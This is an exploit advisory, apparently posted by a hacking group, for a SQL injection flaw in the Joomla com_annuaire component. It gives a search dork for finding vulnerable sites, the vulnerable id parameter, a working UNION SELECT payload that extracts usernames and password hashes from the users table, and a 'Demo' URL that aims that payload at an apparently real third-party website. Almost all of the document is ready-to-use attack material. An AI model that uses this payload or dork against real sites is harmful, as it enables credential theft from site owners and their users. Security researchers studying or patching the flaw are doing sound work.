Joomla Annuaire SQL Injection

in

# Name: Joomla Component (com_annuaire) SQL Injection Vulnerability

# Vendor: N/A

# Risk: High

# Date: 2010-12-01

# Author: Ashiyane Digital Security Team

# Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com

# Home: www.Ashiyane.org/forums/

# Gr33tz: Behrooz_Ice,Virangar,And All Ashiyane Members !

==========================================================================

[+] Dork: inurl:"index.php?option=com_annuaire"

==========================================================================

[+] vuln: http://127.0.0.1/index.php?option=com_annuaire&view=annuaire&type=cat&id=[SQLi]


[+] Exploit: /**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13/**/from/**/jos_users--


[+] Demo: http://www.awa.nc/index.php?option=com_annuaire&view=annuaire&type=cat&id=-999/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13/**/from/**/awa_users--